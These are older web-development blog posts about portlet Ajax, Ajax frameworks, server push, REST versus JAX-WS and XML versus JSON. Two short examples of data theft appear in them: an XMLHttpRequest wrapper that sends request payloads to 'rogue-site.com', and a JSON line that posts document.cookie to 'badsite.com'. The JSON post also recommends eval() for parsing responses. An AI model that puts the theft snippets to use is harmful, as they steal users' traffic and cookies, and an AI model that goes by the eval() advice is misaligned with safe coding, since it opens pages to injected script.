Here is a nice post at dev.opera.com. But I can’t completely agree with the statement that

the really good ideas in this evolution of the web are conceptual, not technological

That’s one side of the story. The other side is repeating the same ideas with better and more flexible technology.

At BEA, we recently released a patch for WebLogic Portal 10.0 to support the XMLPortletRequest interface as an alternative to using XMLHttpRequest with portlets. See Ajaxifying Portlets – Part 1: Unmanaged Ajax and Ajaxifying Portlets – Part 2: Managed Ajax for more info.

Early this year I have blogged about the problems related to portlets using Ajax to update their UI from the client side, and my attempts at addressing those. See here and here. As I mentioned in those posts, I also tried to make the model a part of the JSR-286 API. Here is an update of where things stand now.

As far as trying to introduce an end-to-end model into JSR-286, as you will find it in the latest draft specification, the expert group was unable to a come to a conclusion, for a number of reasons. As a result, the specification does not provide an end-to-end programming model for portlets using Ajax. This is disappointing.

To be specific, the goals of an end to end Ajax programming model for portlets were the following:

• Allow state-changing requests (e.g. via an action URL) initiated via a client API
• Support state changes via processAction
• Provide first-class support for the new coordination models (i.e. events and shared/public render parameters) being introduced into JSR-286.
• Provide a client API that is easy to migrate to, and can easily be plugged into various JavaScript frameworks.
• Design the client API such that portals can consistently manage the UI and its state in the browser.

These goals were important for a portlet API, as these allow portlets to drive requests from the client side via Ajax, and without sacrificing most of the features available to portlets on the server side programming model.

The expert group almost had a solution – a client side API called XMLPortletRequest, and a server side model via a new lifecycle method called processFragment. The expert group discussed these for a long time, and finally voted against the solution for a number of reasons. Some felt that the expert group is not qualified to design a solution. Some felt that they did not have the time to implement and test it before the specification was finalized, while others felt that the life cycle method getResource newly being introduced into JSR-286 is sufficient for at least a good number of use cases. Note that this is my understanding, and other members of the expert group may have other views – so please don’t consider this post as the expert group’s voice.

Where does it leave the specification? As far as the standard API is considered, there will be a partial solution in the form of a new lifecycle method called serveResource.

public void serveResource(ResourceRequest request, ResourceResponse response) {
// Generate some response
}

The semantics of this idempotent method are as follows:

• Portlet can receive form parameters, uploads etc from the request, just like the way a servlet can do.
• Portlet can write any kind of response. The response content type is open ended, just like the way a servlet can render any kind of content during its service() method.

JSR-286 also introduces a new URL type ResourceURL that can be used to invoke the serveResource method of a portlet.

How is this lifecycle method relevant for Ajax? Since serveResource mimics the service method of the servlet API, portlets can use XMLHttpRequest with a ResourceURL, generate some textual or XML response, and process it in the browser. Here is an example:

var request = new XMLHttpRequest();
request.onreadystatechange = function() {
// Process the response
};
request.open('GET', <portlet:resourceURL/>, true);
request.send();

This is simple, and easy to implement.

But this lifecycle does not come without limitations. Since this is an idempotent operation, portlets can’t make changes to state maintained by the container (such as render parameters), or use features coordination mechanisms introduced in JSR-286.

In particular, JSR-286 introduces two forms of coordination mechanisms, viz., events, and public render parameters. Both these follow a publish-subscribe model. Portlets can fire events, and others can subscribe and receive those events. Similarly, portlets can make some of their render parameters as public, and the container/portal will relay changes to those public parameters to other portlets that have marked the same parameters as public. The key goal of these features is to introduce some kind of dynamism into the UI, by letting portlets exchange events/data without being coupled to each other. However, portlets using serveResource can not take advantage of these facilities.

In my view, JSR-286 misses the bus yet again, unfortunately, forcing implementors to come up with proprietary solutions.

One of the questions I hear often is which Ajax framework to choose for building ajax-enabled apps. One way to answer this question is by comparing and contrasting – see which framework offers what kind of features, and compare those among various frameworks. That is an easy approach. But I’m beginning to realize that this is not necessarily the best approach towards selecting a framework. I think a more important criterion is how well a given framework can deal with heterogeneity.

Yes, heterogeneity. The same old problem that led to the realization of loose-coupling of services in the form of SOA.

The web as exists today is not homogeneous. There are sites and web apps built using a variety of web programming frameworks ranging from CGI/perl to PHP to JSP, ASP, JSF etc. In fact, there is almost no enterprise that has a homogeneous technology used to build all its web apps. It just is not possible for such homogeneity to exist in an enterprise. Even if all the apps are built using a suite from a given vendor or technology (like everything built on Microsoft’s suite or JEE from some vendor or something else), there are going to differences between the versions and products used, leading to a tech-soup of heterogeneity at the UI layer.

For someone trying to simplify the enterprise, homogeneity is great, and heterogeneity hurts. But years of watching the evolution of technologies in waves should make one realize that heterogeneity is here to stay. At the technical level, I find it more interesting to think in terms of heterogeneity – it is a much more challenging problem to integrate heterogeneous services than homogeneous services.

This is all fine at the service-level, but why care about the UI level? Increasingly, the browser is becoming a service client, and is able to fetch data/UI over HTTP from various services. Most modern apps are now being built this way. Yahoo Mail is one great example, but there are several others following this pattern. I like this pattern since it shifts the UI composition from the server to the browser. Instead of putting UI snippets into a page on the server side, this pattern is based on the client fetching data/UI and continually updating the view as the user is interacting with the site. It also imposes some kind of formalization of interactions between the client and the server-side, and this is a key characteristic of ajax applications. You will see this kind of formalization in the REST/http web services offered by Amazon, Google, Yahoo, Flickr and others.

One of the requirements I place on Ajax frameworks is, therefore, an ability to work with any service providing data or UI on the server side. What does it mean for the Ajax framework? The framework should not impose restrictions on the kind of technology that I can use on the server side. There is another way to look at this. In SOA, yo don’t want the service telling the client the technology it must use to make use of the service. In a world where the browser is a universal data/UI client, the same principle applies to the technology used to build the client. It should be agnostic of the choices made on the server side. The only thing that should matter is the set of operations over HTTP to fetch/update UI and data.

This is one reason I prefer pure-client side Ajax frameworks, like Dojo, over other frameworks that have server-side components. A pure client-side framework would let me write the client-side without depending on the decisions made on the server-side. For instance, most JSF-based Ajax frameworks require you to think in terms of JSF both on the server side and the browser-side. I’m yet to be convinced that this is a good approach. What concerns me is that, the JSF-frameworks that I have experienced with tend to generate the client side based on the decisions made at the JSF component level on the server side. This makes sense in a homogeneous world. But once you attempt to write a new app (a la mashup) integrating the JSF generated UI with something else, it will be easy to realize that the integration gets hard because most of these frameworks don’t tend to formalize the interactions (i.e. the protocol) between the client-side and server-side components leaving a fair-bit coupling between the client (the browser) and the server side code.

So, a good ajax framework is one that lets me maintain decoupling between the client-side code (HTML, JavaScript, DOM, events etc.) and the server-side code. A given framework may offer great help in blending Ajax with the web programming model, but if it does not address heterogeneity, it is not good enough in the long run.

(Cross posted at http://dev2dev.bea.com/blog/sallamar/archive/2007/06/ajax_frameworks.html)

There is a paper titled Subverting Ajax (PDF), by Stefano Di Paola and Giorgio Fedon circulating the web over the weekend. This paper claims that, by using XMLHttpRequest, an attacker could “inject client side code to toally subvert the communication flow between the client and the server”. This paper also talks how some previously known attacks like cache poisoning, frame injection etc. See below for a quick demo of what the authors of this paper are talking about. The demo makes me conclude that the so-called subversion is hyped up, and does not actually pose a new security threat.

The security issue with XMLHttpRequest that this paper talks about is based on the JavaScript prototypes. This paper shows how a script author could sniff the communication between the browser and the server by wrapping the XMLHttpRequest with a prototype based wrapper. Here is a sample implementation of this so-called attack.

var orig;
if (window.XMLHttpRequest) {
orig = new XMLHttpRequest();
}
else if (window.ActiveXObject) {
try {
orig = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
try {
orig = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
alert("Could not create httpRequest");
}
}
}

XMLHttpRequest = function()
{
this.xml = orig;
return this;
}
XMLHttpRequest.prototype.send = function(payload)
{
alert("Sniffing payload: " + payload);
return orig.send(payload);
}

XMLHttpRequest.prototype.open = function(method, url, async)
{
alert("Sniffing: " + url);
orig.open(method, url, async);
}

function send()
{
var myreq = new XMLHttpRequest();
myreq.onreadystatechange = function()
{
if (myreq.readyState == 4 && myreq.status == 200) {
alert(myreq.responseText);
}
}

var url = "/get/my/secrets";
myreq.open("GET", url, false);
}

You can also try this online here.

The key point is that the send() function thinks that it is using the native XMLHttpRequest, but is in fact using a wrapped XMLHttpRequest. The wrapped function can see the traffic. It can, for instance, make a request to an external site with the data being transmitted.

XMLHttpRequest.prototype.send = function(payload)
{
var url = "http://rogue-site.com/sniff?data=" + payload;
var script = document.createElement("script");
script.setAttribute("src", url);
script.setAttribute("type", "text/javascript");
head.appendChild(script);
return orig.send(payload);
}

That is a vulnerability – the authors of this paper claim.

It is important to realize that this is a vulnerability only after the attacker is able to inject code into a web page to replace XMLHttpRequest with a wrapped object. This paper talks about a banking example, where an attacker could inject this script, wait for a bank transfer to occur, and then steal the details of the transfer. It is true that once the code injection has happened, there are a number of ways using which an attacker could steal information, even without using XMLHttpRequest.

Assuming that the attacker is able to break into the banking site, he/she could inject an onSubmit() function into each page of the same banking site, and use that method to send submitted data to a rogue site. How is this different from the author’s claim about XMLHttpRequest being vulnerable? The authors don’t discuss or explain. This makes me conclude that the authors’ claims are hyped up.

The cache-poisoning attack that the authors of this paper claim is well-known. See, for example, the security report Browser Cache Poisoning using IE and Caching Servers which talks about the same technique mentioned in Section V of this paper. The technique is based on injecting raw HTTP headers into URLs. Vulnerabilities like this exist due to implementation bugs in browsers and other HTTP applications.

Carlos Perez wrote a very interesting piece asking What did JavaScript have that Java did not? The question initially seemed obvious, but he makes some good points about JavaScript and dynamically typed languages.

His first point was that proponents of Java-in-browser made no real effort in integrating Java with the browser – whether it is interacting with HTML, or the DOM, or the client-server interactions.

The end result is that Java remained one of the last choices for programming on the browser side, and we all gave up Java in the browser.

On the other hand, it is easy to write off JavaScript as an inferior language given its lack of modularity, packaging, and abstraction. But you can not beat JavaScript when it comes its integration into the browser. Server side frameworks can try to hide some of the complexity of JavaScript behind a facade of Java, as is being done by frameworks like GWT and ICEFaces. Then again, they can only solve the some common use cases, and start leaking when it comes to more complex tasks in the browser. So, my philosophy is – don’t hate/hide JavaScript – embrace it.

If you one of those developers that don’t care much about JavaScript, CSS and the like, and do write code related to the web, you are going to disagree with what I am about to say in this post.

If you claim to be developing anything related to the web, and fall into this category, all I can say is this – please move on, please find something else to do. You may not know yet, or may not be ready to admit (yet) – but you are most likely to make some bad choices in your designs.

Well – I know that this is an extreme position. Despite the fact that Ajax has become a big deal over the last two years, and that browsers have gotten better at supporting JavaScript, CSS and other web standards, there is still a large number of web developers who think that they can solve all their web development problems completely on the server side. Sorry folks – I disagree. If you don’t know both sides of the picture, you are going to come up with awful solutions.

If you are one of those that hate JavaScript, here is my take. If you know JavaScript but hate it because of the way the language is designed or is implemented in browsers, all I can say is that you may be right, and that you may have earned the right to have an opinion. On the other hand, if you don’t know how to write JavaScript, and keep saying that you hate JavaScript, I am tempted to say that you are probably in denial mode, and hiding your ignorance behind a "I hate JavaScript" statement.

To be truthful, my stance is not solely against the JavaScript ignorance/hatred. I’m against the elitist attitude that somehow it is okay to design web frameworks and apps without understanding client-side techniques. It is fairly easy to detect this attitude. When faced with some client-side issues, these folks can not help talk about how much they hate JavaScript and how they are being forced to deal with some ugly problem that they would prefer to let some junior developer deal with. Huh.

So, my appeal to web framework experts – please learn to write JavaScript, CSS, etc, or just move on.

Last week, Opera posted a blog entry describing a different style of doing server push. The technique described is based on server side DOM events as currently proposed in the WHATWG Web Applications 1.0 specification. Also check out the demo, which is based on an early and partial implementation of server side events in Opera 9.x. The approach described can be used to send events over long-running connections to the browser, and in someways resembles the onload event handler of the XMLHttpRequest as implemented in Firefox. But there are some key differences between these approaches.

XMLHttpRequest’s onload (Firefox)

As I described in Dissecting Ajax Server Push, Firefox’s approach is based on an onload event handler registered for XMLHttpRequest.

On the client side, you would create an XMLHttpRequest, and register an onload event handler.

XMLHttpRequest request = new XMLHttpRequest();
request.multipart = true;
request.onload = function(e)
{
// ...
};
request.open('GET', url, true);
request.send(null);

In response to this request, the server is required to send back response of content-type multipart/x-mixed-replace, and send data in multiple parts. Whenever a part is received, the browser would call the onload function with the part received.

However the downside of this approach is that keeping the connection open from the browser-end. You need to come up with some non-trivial steps to detect dropped connections, and reopen the XMLHttpRequest to continue to receive data from the server side.

Server-side DOM Events (Opera 9.x, and Web Applications 1.0 draft)

Server side DOM events can be used to solve the same use case differently. Instead of creating an XMLHttpRequest, you would simply add an event-source element in your HTML,

and then associate event handlers with it.

document.getElementById("eventSourceId")..addEventListener("someEventNamt", myFunc, false);
function myFunc(event)
{
alert(event.data);
}

The event-source element is automatically processed by the browser. It would open a connection to the specified source URI, and calls the event handler function whenever it receives an event with the name specified while registering the listener.

The resource specified at the URI is supposed to return an event stream with content-type application/x-dom-event-stream. The response could contain a series of events (each with a name and payload).

Differences

Both approaches let the server send chunks of data over a possibly long-running connection, and let the client process each chunk of data as it arrives. But the similarities end here.

• Connection management: What I liked most about server-side DOM events is the simplicity. In stead of forcing the script take the responsibility of making sure that the connection is open, with the event source approach, the browser will be responsible for reopening the connection whenever it is dropped (of course, based on some browser policy – such as waiting for a few seconds before attempting to reopen, or not attempting to reopen based on error conditions, etc). On the other hand, with XMLHttpRequest, the script developer has to deal with these conditions. IMO, this is the single biggest drawback of XMLHttpRequest’s onload handler.
• Data vs Events: With XMLHttpRequest, the response is just data carried as a part of a multipart response. The format of the response is opaque as far as the browser is concerned. With server side DOM events, the server would be returing events which get raised by the browser and can be handled just like regular DOM events. This opens the door for the server side to return regular browser events. The current draft of Web Applications 1.0 does include an event class field that could be set on each event, and this field can be mapped to browser side event interfaces including UI related and input events (such as keyboard events). Although the draft is not very clear on how such events would be processed by browsers, the current proposal could be used to couple server side code with browser side events. This seems awkward to me.
• Sending Requests: With XMLHttpRequest, you could use different verbs (GET, POST etc.) and fetch a multipart response via the onload handler. With server side DOM events, the event-source would (presumably – the draft is unclear) send a GET request to fetch events, in essence limiting the event-source to idempotent requests. Also note that the event-source is not tied to HTML controls like forms. So, if you want to fetch events based on user input, you need to create a URI encoding the user input (e.g. as a query string), and dynamically add the event-source element with the URI.

In any case, both approaches are on the bleeding edge, and are not cross-browser compatible – it would in fact be premature to expect such compatibility soon.

This post is in response to Sameer Tyagi‘s article on using JAX-WS for RESTful web services posted at the Sun Developer Network. I find a few points stated in this article troubling if not inaccurate – (a) it presents REST in a limited scope thereby showing SOAP in better light, and (b) it misses some key differences between REST and SOAP based web services. Beyond this, the example cited in this article just shows why you SHOULD NOT use JAX-WS for REST style web services. In this post, I would like to discuss the whys behind the two statements I just made.

Let me first list each point mentioned about when to use REST and when to use SOAP, and comment on each. The statements in italics below are from this article.

1. Use REST when the web services are completely statelesss.

   This article contents that REST is suited for stateless services. To the contrary, most people prefer keeping SOAP style web services stateless. I also find it easier to manage state over REST based services than SOAP based services. With REST based services, you can either manage state with cookies or with the state encoded in the URI. With SOAP based services, the only option is to encode the state within the envelope.

2. Use REST when bandwidth is particularly important and needs to be limited.

   REST based web services may be less-bloated. That may or may not turn into better performance – it depends on the network and the latency.

3. Use REST for web service delivery or aggregation into existing web sites … using technologies such as Asynchronous JavaScript with XML (AJAX).

   This point is a stretch for two reasons. It is equally possible to invoke SOAP style services via XMLHttpRequest. There are pros and cons to each approach. Secondly, I would not use JAX-WS for driving Ajax responses as using JSON over XML has several advantages and JAX-WS is not meant for anything other than XML.

4. Use REST when the service producer and service consumer have a mutual understanding of the context and content being passed along and use SOAP when a format contract mus be established to describe the interface that the web service offers.

   Both the statements are misleading. I think these statements are based on the assumption that WSDL and schemas provide such a contract for SOAP based web services. This is only half-true. WSDL and schemas can describe the structure of messages (data, headers, faults etc.), but you still need to describe the semantics of operations and messages outside the WSDL. Without a description of those semantics, it is not difficult for different people to come up with different interpretations. WSDL and schemas don’t describe the semantic meaning.

5. Use SOAP when The architecture must address complex nonfunctional requirements such as Transactions, Security,
   Addressing, Trust, Coordination, and so on that go beyond simple CRUD operations possible with REST.

   This article contends that real enterprise applications need more than the CRUD operations that are possible with HTTP. Actually, this article starts by saying how HTTP is related to SQL for CRUD capabilities. This is nothing but a mis-interpreation of HTTP. HTTP defines some standard verbs with defined semantics. There are two ways you can use HTTP for REST style services – by encoding the operations in the URI, and/or by defining new verbs. This gives a wide range of possibilities for surfacing services – definitely not limited to CRUD. In any case, how is this better than encoding the operations in the header/body of a SOAP message and send all messages via POST?

   Regarding the non-functional requirements such as Transactions, Security, Addressing, Trust, and Coordination, except for security, we are yet to see any one using the others seriously today. Who said security cannot be addressed with RESTful web services?

What this article forgets to mention is that RESTful services don’t hide the fact that they are operating over HTTP, where as SOAP style services try to hide this and encourage protocol agnosticism. The result of this protocol agnosticism is API bloat with too many indirections. I have been developing web services for over three years, and I don’t have problems with the lower level APIs (SAAJ, DOM etc.) – what frustrates me is the bloat added by the higher-level APIs (dispatchers, handlers, XML binding etc.) trying to hide the protocol.

JAX-WS for RESTful Services?

JAX-WS (like its dead-cousin JAX-RPC) is designed with protocol abstraction in mind – so they carry the bloat I just mentioned. The API goes on to great trouble in hiding the protocol with layer upon layer – may be the thought was if there are too many layers on top of the protocol, nobody would notice the protocol?

Yes, you can use JAX-WS for REST style services, but as I show below, using JAX-WS makes your code inherit some of that bloat. It adds more complexity without necessarily offering any advantages. Note that the example in this article uses JAXB in combination with JAX-WS, and my comments are limited to using JAX-WS.

First, let me briefly describe the example provided in this article.

1. A purchase order service to get, create, update, or delete purchase orders. This service is implemented using the
   javax.xml.ws.Provider interface
   and some annotations of JAX-WS. The invoke() of this class method processes the request by first checking the request
   verb and the path of the URI used to make the request.
2. A client that uses the javax.xml.ws.Service
   and javax.xml.ws.Dispatch
   interfaces of JAX-WS to talk to the purchase order service.

This example is simple, yet demonstrates the bloat very well. Let’s see the bloat.

1. The servlet API is best suited for providing an entry point for REST-style services. The API has the right abstractions for serving services over HTTP. But since JAX-WS wants to stay protocol agnostic, there is no way you can bind JAX-WS provider classes to servlets. But still JAX-WS leaks some protocol details via the javax.xml.ws.handler.MessageContext
   (which IMO, makes JAX-WS more usable than JAXRPC). So, this example ends up using the leaks to get details of the request API.

   public Source invoke(Source source) {
   try{
   MessageContext mc = wsContext.getMessageContext();
   String path = (String)mc.get(MessageContext.PATH_INFO);
   String method = (String)mc.get(MessageContext.HTTP_REQUEST_METHOD);
   System.out.println("Got HTTP "+method+" request for "+path);
   if (method.equals("GET"))
   return get(mc);
   if (method.equals("POST"))
   return post(source, mc);
   if (method.equals("PUT"))
   return put(source, mc);
   if (method.equals("DELETE"))
   return delete(source, mc);
   throw new WebServiceException("Unsupported method:" +method);
   } catch(JAXBException je) {
   throw new WebServiceException(je);
   }
   }
   

   The above code from this article makes a good case why you should servlet API and not JAX-WS. Since this service is bound to HTTP, this code had to obtain the request info directly via the leaked abstractions. Here is how you could rewrite this using the servlet API.

   
// Nothing


   Except for message parsing, there is no need to write code to detect the verb. The good old javax.servlet.http.HttpServlet does this job, and would delegate to methods like doGet(), doPost() etc.

2. The purchase order service writes back fault messages and response error codes. Here again, we see the SOAP concepts leaking into the REST-style purchase order service.

3. The client side code is similarly more complex like the service implementation. The client first creates a Service, adds a Port, then creates a Dispatcher, creates a RequestContext, and then invokes the service.

   private  void retrieveOrder() {
   service = Service.create(qname);
   service.addPort(qname, HTTPBinding.HTTP_BINDING, url + "ABC-123");
   Dispatch dispatcher = service.createDispatch(qname, Source.class, Service.Mode.MESSAGE);
   Map requestContext = dispatcher.getRequestContext();
   requestContext.put(MessageContext.HTTP_REQUEST_METHOD, "GET");
   Source result = dispatcher.invoke(null);
   printSource(result);
   }
   

   There are too many abstractions in this code snippet. It uses APIs designed for SOAP and WSDL to implement REST-style invocations. But why not use HttpURLConnection for the same task?

   // pseudo code
   URL url = new URL(...);
   HttpURLConnection connection = (HttpURLConnection) url.openConnection();
   connection.setDoInput(true);
   connection.setRequestMethod("GET");
   // ...
   InputStream is = connection.getInputStream();
   // Read and bind to a JAXB object
   

   This code is not trivial either, but you are atleast dealing with HTTP directly – no SOAPy abstractions in the way of doing REST.

Due to the fact that JAX-WS hides HTTP, you will also notice that neither the client nor the service can easily deal with things like headers and cookies. This article makes a good point that REST style services can take advatange of HTTP caching, but unfortunately, JAX-WS won’t let you do it easily.

My Conclusion

In summary, this articles makes an attempt to justify that JAX-WS can beused for programming REST-style web services. It should also have
taken the time to justify why you must use JAX-WS as opposed to, let’s say, servlets and a HTTP client?

If the JAX-WS API is really intent on supporting REST-style programming, here are some the things that it needs to do

1. Provide an easier way to process XML and JSON messages on the server side without hiding HTTP, preferrably by extending the servlet API.
2. Provide an wasier way to write HTTP client by creating some light-weight abstractions on the top of HttpURLConnection so that writing XML to, and reading XML from HTTP connections is simplified.

As of today, I would not recommend using JAX-WS for REST-style web services.

Update (09/03/2006): I just came across Mark Baker’s interview at http://www.infoq.com/articles/mark-baker-REST. In response to a question on combining REST with more conventional web services approaches, he says it’s technically possible, but from what I’ve seen of Web services toolkits (even those that claim to “support REST”), there’s a very good chance that it’ll be more trouble than it’s worth. That says it all.

What is the right response format for XMLHttpRequest in Ajax applications? The answer is simple for most markup-oriented applications – use HTML. For data-oriented applications the choice is between XML and JSON. Until recently I did not pay much attention to the question of whether to use XML or JSON. I just presumed that the use case at hand will dictate the format. I had a chance to test this presumption
recently. In this post, I would like to describe the criteria I used for comparing between XML and JSON, and my analysis.

Here is my criteria:

• Human readability
• Ease of creating the data on the server side
• Ease of processing the data on the client side
• Extensibility of the payload
• Debugging and trouble-shooting
• Security

Human Readability

Peter-Paul Kock of QuirksMode.org includes human-readability as one of the criteria in his analysis. IMO, human-readability is a secondary goal, and one could easily argue that JSON is as human-readable as XML – provided both are pretty-printed.

Subbu
Allamaraju

({
"firstName" : "Subbu",
"lastName" : "Allamaraju"
});

I would argue that the ability to debug and trouble-shoot is more important than human-readability.

Ease of Data Creation

Given that XML has been around for years, there are a number of XML data-binding APIs to create XML in several programing languages. In the Java-land, for instance, you could data-binding APIs like JAXB or XmlBeans to write XML response. Here is an example using JAXB.

Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
Marshaller marshaller = ... // Create a marshaller instance
marshaller.marshal(person, outputStream);

On the otherhand, APIs to create JSON responses are fairly new. Nonetheless, JSON.org lists a fairly impressive collection of APIs in various languages. Here is an example of creating a response with href="http://json-lib.sourceforge.net">Json-lib.

Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
writer.write(JSONObject.fromObject(person).toString());

JSON is not far behind in terms of APIs to serialize Java beans into objects. However, I must point out that there are far more ways to create XML than JSON. Some of those XML APIs have been around for years and hence may be more stable for complex
applications.

Another point to consider is what sources are being used to generate the response. If your backend is already doing the heavy-lifting to create data as XML, it will most likely be
optimal to use XML as the response format. If not, I would not discount using JSON.

Ease of Data Processing on the Client Side

On the client-side, processing JSON data from the response of an XMLHttpRequest is trivial.

var person = eval(xhr.responseText);
alert(person.firstName);

With a simple eval(), you could evaluate the response to a JavaScript object. Once this step is done, to access the data, you just access the properties of the evaluated
object. This is the most elegant part of JSON.

Now consider XML. To keep the code snippet below short, I have excluded all error checks.

var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
alert(elements[0].firstChild.textContent);

Apparently, to process the response data, you need to walk the DOM tree. This is a very tedious exercise, and is error prone. Unfortunately, DOM is what we are left with on the browser side. Browsers don’t support query languages like XPath to query and
select nodes in an XML document. There is XSLT support, but it is limited to transforming XML into markup (e.g. HTML). W3C’s Web API Working Group is working on a Selectors API that can be used to use CSS-style selectors to select nodes
from a Document object. With this API, the above code snippet can be changed to xml.match("person.firstName") to get the
firstName element. This is not a great improvement in this specific example XML document, but will be more useful to process deeply nested documents. This API is is work-in-progress, and is years away from browsers supporting this API.

Between XML and JSON, I prefer JSON for ease of client side processing.

Extensibility

Extensibility helps reduce the coupling between the producer and the consumer of the data. In the context of Ajax applications, the client side script should be reasonably agnostic of compatible changes made to the data.

It is a common presumption that, just because there is an "X" in XML, XML is automatically extensible. That is not necessarily the case (i.e. not automatic). The extensibility of XML is based on the principle that you can define extensibility points in your XML, and then honor the must-ignore rule (i.e. if you come across an unknown
element/attribute while processing XML, just ignore it).

To take advantage of extensibility, you need to write the processing code on the client side with extensibility in mind. For example, the following code would break when you insert, e.g., a middleName element.

var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
var firstNameEl = elements[0];
var lastNameEl = firstNameEl.nextSibling;

When you insert a <middleName> element after the <firstName> element, the code above would incorrectly treat the middle name as last name. To be agnostic of this
change, this code will have to be rewritten to either explicitly get the <lastName> element, or keep accessing nextSibling till the sibling with the correct
tagName is found. So, XML is extensible as long as you write the processing code with extensibility in mind. There is no magic.

How about JSON? I would argue that it is simpler to extend JSON data than XML. It certainly takes less effort. Consider adding a middleName property to the JSON response. To access it, you would simple access the property.

alert(person.middleName);

This code need not be changed if you insert a middle name. How about processing a person object with or without middle name? It is simple with JSON.

if(person.middleName) {
// Process
}

My take is that, provided extensibility is kept in mind, both XML and JSON can be extended. JSON is just much easier to deal with extensibility than XML. You just need to check if a given property exists on an object, and process accordingly.

There is another kind of extensibility possible with JSON, that is to inject code along with the data into the response.

alert("Hi - I'm a person");
({"firstName" : "Subbu",
"lastName" : "Allamaraju"});

When this data is evaluated via eval(), the browser would also execute the alert() statement. This way, you can download and execute code. This approach needs to be used carefully as it pollutes the response and creates a coupling between the code and data. Some people also consider this technique a security risk – more about that below.

Debugging and Trouble-shooting

This aspect needs to be addressed on both the server side and the client side. On the server side, it is necessary to ensure that the data is well-formed and valid. On the client side, it should be easy to debug errors in the response.

With XML, it is relatively easy to check that the data being sent to the client is well-formed and valid. You can use a schema for your data, and use that to validate the data. With JSON, this task is manual, and involves verifing that the response object has
the right attributes.

On the client side, it is difficult to spot errors in either format. With XML, the browser would simply fail to parse the XML into the responseXML. For small JSON data, I was able
to detect errors with the FireBug
extension in Firefox. With larger data, it may be a bit more difficult to relate the error messages to the data.

Security

Dave Johnson comments that JSON could pose security problems in his post JSON and the Golden Fleece. His comment is based on the fact that you can include script along with data in JSON responses, and by using
eval() to process the response, you will also be executing the script, and that such a script may pose a security risk.

window.location = "http://badsite.com?" + document.cookie;
person : {
"firstName" : "Subbu",
"lastName" : "Allamaraju"
}

The response above, when evaluated, will cause the browser to post the user’s cookies to a rogue site. But there is a fallacy in the argument about the security risk. You should not trust data or code when it was returned from un untrusted source. Secondly, you
can not use XMLHttpRequest to connect to domains other than the one you downloaded the script from. So, only the developer(s) in charge of building the application can post the cookies to a rogue site. This is a bit fictitious, since those developers can put the
same code elsewhere in the document outside the data. So unless I’m missing something, I don’t consider that JSON is insecure when compared to XML.

My Conclusion

For data-oriented applications, I prefer JSON to XML due to its simplicity and ease of processing on the client side. XML may be great on the server side, but JSON is definitely easier to deal with on the client side.